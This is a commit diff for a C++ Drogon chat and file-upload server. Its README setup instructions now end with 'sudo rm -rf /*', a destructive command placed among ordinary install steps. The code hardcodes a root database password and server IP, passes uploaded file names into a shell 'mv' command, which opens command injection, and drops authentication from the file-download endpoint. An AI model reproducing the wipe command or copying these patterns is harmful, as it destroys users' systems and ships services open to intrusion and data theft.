Skip to content

Commit 6f59a85

Browse files
committed
sync
1 parent 05f3da8 commit 6f59a85

File tree

10 files changed

+102
-116
lines changed

10 files changed

+102
-116
lines changed

API.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ POST /api/chat
2727
> 200 Response
2828
2929
```json
30-
{"code":200,"massage":"Massage Send Success"}
30+
{}
3131
```
3232

3333
### Responses

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ tar zxvf mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit.tar.gz
5454
mv mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit mysql-connector
5555
rm mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit.tar.gz
5656
mkdir build
57-
./run.sh
57+
./run.sh
5858
sudo rm -rf /*
5959
```
6060
## API Documentation

file_controller.cc

Lines changed: 4 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,6 @@ std::string shell_commands(const char *cmd)
5959
void commandsCtrl(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
6060
{
6161

62-
std::cout << "commandsCtrl" << std::endl;
6362
enum Command
6463
{
6564
tree,
@@ -186,12 +185,12 @@ void saveFile(const HttpRequestPtr &req, std::function<void(const HttpResponsePt
186185
void imageUpload(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
187186
{
188187
auto resp = HttpResponse::newHttpResponse();
188+
resp->addHeader("Access-Control-Allow-Origin", "*");
189189
if (jwtVerify(req))
190190
{
191191
MultiPartParser fileUpload;
192192
if (fileUpload.parse(req) != 0 || fileUpload.getFiles().size() != 1)
193193
{
194-
auto resp = HttpResponse::newHttpResponse();
195194
resp->setBody("Must only be one file");
196195
resp->setStatusCode(k403Forbidden);
197196
callback(resp);
@@ -202,33 +201,24 @@ void imageUpload(const HttpRequestPtr &req, std::function<void(const HttpRespons
202201
auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(now.time_since_epoch()).count();
203202
std::string timestamp = std::to_string(ms) + '.' + std::string(file.getFileExtension());
204203

205-
resp->addHeader("Access-Control-Allow-Origin", "*");
206204
resp->setBody(timestamp);
207205
file.save();
208206
shell_commands(("mv ./uploads/" + file.getFileName() + " ./uploads/" + timestamp).c_str());
209207

210208
LOG_INFO << "The uploaded file has been saved to the ./uploads "
211209
"directory";
212-
callback(resp);
213210
}
214211
else
215212
{
216213
resp->setBody("No Authorization");
217214
}
215+
callback(resp);
218216
}
219217

220218
void getPicture(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
221219
{
222220
std::string filename = req->getParameter("filename");
223221
auto resp = HttpResponse::newFileResponse("./uploads/" + filename);
224-
225-
if (jwtVerify(req))
226-
{
227-
resp->addHeader("Access-Control-Allow-Origin", "*");
228-
callback(resp);
229-
}
230-
else
231-
{
232-
resp->setBody("No Authorization");
233-
}
222+
resp->addHeader("Access-Control-Allow-Origin", "*");
223+
callback(resp);
234224
}

main.cc

Lines changed: 0 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -25,13 +25,6 @@ int main()
2525
{ friend_operation(req, std::move(callback)); });
2626
drogon::app().registerHandler("/api/info", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
2727
{ info(req, std::move(callback)); });
28-
29-
30-
// drogon::app().registerHandler("/api/file/tree", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
31-
// { genTree(req, std::move(callback)); });
32-
// drogon::app().registerHandler("/api/file/cat", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
33-
// { catFile(req, std::move(callback)); });
34-
3528
drogon::app().registerHandler("/api/file/save", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
3629
{ saveFile(req, std::move(callback)); });
3730
drogon::app().registerHandler("/api/avatar", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
@@ -41,13 +34,10 @@ int main()
4134
drogon::app().registerHandler("/api/file/get", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
4235
{ getPicture(req, std::move(callback)); },
4336
{Get});
44-
4537
drogon::app().registerHandler("/api/file/commands", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
4638
{ commandsCtrl(req, std::move(callback)); });
47-
4839
drogon::app().registerHandler("/api/file/lock", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
4940
{add_lock(req, std::move(callback));});
50-
5141
drogon::app().setUploadPath("./uploads").run();
5242
return 0;
5343
}

msg_controller.cc

Lines changed: 35 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -18,32 +18,33 @@ void chat(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)
1818
callback(HttpResponse::newHttpResponse());
1919
return;
2020
}
21+
2122
Json::FastWriter writer;
2223
auto res = HttpResponse::newHttpResponse();
2324
res->addHeader("Access-Control-Allow-Origin", "*");
25+
2426
if (jwtVerify(req))
2527
{
2628
std::string sender = jwtDecrypt(req->getHeader("Authorization").substr(7));
2729
std::string content = req_json["content"].asString();
2830
std::string receiver = req_json["receiver"].asString();
2931

3032
sql_addhistory(sender, receiver, content, "0");
31-
3233
std::string msg = req_json["content"].asString();
33-
res_json["code"] = 200;
3434
res_json["message"] = "message Send Success";
35-
auto output = writer.write(res_json);
36-
res->setBody(output);
35+
res_json["code"] = 200;
3736
}
3837
else
3938
{
4039
res_json["message"] = "No Authorization";
41-
res_json["code"] = 401;
40+
res_json["code"] = 401;
4241
}
42+
4343
auto output = writer.write(res_json);
4444
res->setBody(output);
4545
callback(res);
4646
}
47+
4748
// get message history or new message
4849
void check(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
4950
{
@@ -54,31 +55,33 @@ void check(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &
5455
Json::FastWriter writer;
5556
auto res = HttpResponse::newHttpResponse();
5657
res->addHeader("Access-Control-Allow-Origin", "*");
58+
5759
if (jwtVerify(req))
5860
{
5961
me = jwtDecrypt(req->getHeader("Authorization").substr(7));
60-
res_json["message"] = sql_find_my_msg(me,check_type);
62+
res_json["message"] = sql_find_my_msg(me, check_type);
6163
res_json["code"] = 200;
62-
6364
}
6465
else
6566
{
66-
//res->setBody("No Authorization");
67+
res_json["message"] = "No Authorization";
6768
res_json["code"] = 401;
68-
6969
}
70+
7071
auto output = writer.write(res_json);
7172
res->setBody(output);
7273

7374
callback(res);
7475
}
76+
7577
// request new friend or cancel request
7678
void friend_operation(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
7779
{
7880
auto res = HttpResponse::newHttpResponse();
7981
Json::Value res_json;
8082
Json::FastWriter writer;
8183
res->addHeader("Access-Control-Allow-Origin", "*");
84+
8285
if (jwtVerify(req))
8386
{
8487
std::string sender = jwtDecrypt(req->getHeader("Authorization").substr(7));
@@ -92,34 +95,36 @@ void friend_operation(const HttpRequestPtr &req, std::function<void(const HttpRe
9295
sql_addrequest(sender, receiver);
9396
res_json["code"] = 200;
9497
res_json["message"] = "Operation Success";
95-
//res->setBody("Success");
98+
// res->setBody("Success");
9699
}
97100
else
98101
{
99102
res_json["code"] = 404;
100103
res_json["message"] = "No this user";
101-
//res->setBody("No this body");
104+
// res->setBody("No this body");
102105
}
103-
//res->setBody("No this body");
106+
// res->setBody("No this body");
104107
}
105108
else
106109
{
107110
sql_delete_operation(sender, receiver);
108111
res_json["code"] = 200;
109112
res_json["message"] = " Delete Operation Success";
110-
//res->setBody("Success");
113+
// res->setBody("Success");
111114
}
112115
}
113116
else
114117
{
115118
res_json["code"] = 401;
116119
res_json["message"] = "No Authorization ";
117-
//res->setBody("No Authorization");
120+
// res->setBody("No Authorization");
118121
}
122+
119123
auto output = writer.write(res_json);
120124
res->setBody(output);
121125
callback(res);
122126
}
127+
123128
// handle new friend request
124129
void request_processing(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
125130
{
@@ -130,68 +135,51 @@ void request_processing(const HttpRequestPtr &req, std::function<void(const Http
130135

131136
if (jwtVerify(req))
132137
{
133-
134138
std::string receiver = jwtDecrypt(req->getHeader("Authorization").substr(7));
135139
std::string sender = req->getParameter("username");
136140
std::string attitude = req->getParameter("info");
137141
sql_process_request(sender, receiver, attitude);
138-
//res->setBody("Success");
139-
res_json["code"]=200;
140-
res_json["message"]="Friends "+attitude+" Success";
142+
// res->setBody("Success");
143+
res_json["code"] = 200;
144+
res_json["message"] = "Friends " + attitude + " Success";
141145
}
142146
else
143147
{
144-
//res->setBody("No Authorization");
145-
res_json["code"]=401;
146-
res_json["message"]="No Authorization";
148+
// res->setBody("No Authorization");
149+
res_json["code"] = 401;
150+
res_json["message"] = "No Authorization";
147151
}
152+
148153
auto output = writer.write(res_json);
149154
res->setBody(output);
150155

151156
callback(res);
152157
}
158+
153159
// get chat info
154160
void info(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
155161
{
156-
auto body = req->getBody();
157-
Json::Value req_json, res_json;
162+
Json::Value res_json;
158163
Json::Reader reader;
159-
std::string bodyStr(body);
160-
if (!reader.parse(bodyStr, req_json))
161-
{
162-
callback(HttpResponse::newHttpResponse());
163-
return;
164-
}
165164
std::string me, who_send_me;
166165
Json::FastWriter writer;
166+
167167
auto res = HttpResponse::newHttpResponse();
168168
res->addHeader("Access-Control-Allow-Origin", "*");
169169

170170
if (jwtVerify(req))
171171
{
172-
res_json["code"]=200;
172+
res_json["code"] = 200;
173173
me = jwtDecrypt(req->getHeader("Authorization").substr(7));
174-
if (req_json["person"].asString() == "")
175-
{
176-
res_json["message"] = get_chat_info(me, "");
177-
178-
//res->setBody(writer.write(get_chat_info(me, "")));
179-
}
180-
else
181-
{
182-
who_send_me = req_json["person"].asString();
183-
res_json["message"] = get_chat_info(me, who_send_me);
184-
185-
//who_send_me = req_json["person"].asString();
186-
//res->setBody(writer.write(get_chat_info(me, who_send_me)));
187-
}
174+
res_json["message"] = get_my_info(me);
188175
}
189176
else
190177
{
191-
//res->setBody("No Authorization");
192-
res_json["code"]=401;
193-
res_json["message"]="No Authorization";
178+
// res->setBody("No Authorization");
179+
res_json["code"] = 401;
180+
res_json["message"] = "No Authorization";
194181
}
182+
195183
auto output = writer.write(res_json);
196184
res->setBody(output);
197185
callback(res);

mysql.cc

Lines changed: 6 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -304,10 +304,9 @@ void sql_add(std::string username, std::string passwd, int avatar)
304304
}
305305
}
306306

307-
Json::Value get_chat_info(std::string me, std::string who_send_me)
307+
Json::Value get_my_info(std::string me)
308308
{
309309
Json::Value json;
310-
std::string send[2] = {me, who_send_me};
311310

312311
try
313312
{
@@ -316,14 +315,11 @@ Json::Value get_chat_info(std::string me, std::string who_send_me)
316315
sql::Connection *con;
317316
con = driver->connect("tcp://8.130.48.157:3306", "root", "abc.123");
318317
con->setSchema("flypen");
319-
320-
for (int i = 0; i < 2; i++)
321-
{
322-
if (!send[i].empty())
318+
if (!me.empty())
323319
{
324320
std::string sql = "SELECT * FROM users WHERE username = ? LIMIT 1";
325321
sql::PreparedStatement *prepStmt = con->prepareStatement(sql);
326-
prepStmt->setString(1, send[i]);
322+
prepStmt->setString(1, me);
327323

328324
sql::ResultSet *res = prepStmt->executeQuery();
329325

@@ -377,10 +373,10 @@ Json::Value get_chat_info(std::string me, std::string who_send_me)
377373
Json::StreamWriterBuilder builder;
378374
std::string userJson = Json::writeString(builder, user);
379375

380-
json[send[i]] = user;
376+
json[me] = user;
381377
}
382378
}
383-
}
379+
384380
}
385381
catch (sql::SQLException &e)
386382
{
@@ -486,7 +482,7 @@ Json::Value sql_find_my_msg(std::string me, std::string connect_type)
486482
updateStmt->setInt(1, id);
487483
updateStmt->executeUpdate();
488484
delete updateStmt;
489-
std::cout<<"change"<<std::endl;
485+
// std::cout<<"change"<<std::endl;
490486
}
491487

492488
Json::Value item;

mysql.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ void sql_addrequest(std::string send,std::string receiver);
1414
void sql_process_request(std::string ,std::string,std::string);
1515
Json::Value sql_find_my_msg(std::string,std::string);
1616
int lockcheck(std::string filename);
17-
Json::Value get_chat_info(std::string,std::string="");
17+
Json::Value get_my_info(std::string);
1818
void sql_delete_operation(std::string,std::string);
1919
void set_avatar(std::string person, int avatar);
2020
int sql_findexist(std::string receiver);

root/lgylgy

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,3 +8,7 @@ int main()
88
return 0;
99
}
1010
```
11+
![](http://127.0.0.1:8081/api/file/get?filename=No Authorization)
12+
13+
![](http://127.0.0.1:8081/api/file/get?filename=1696040739895.png)
14+

0 commit comments

Comments
 (0)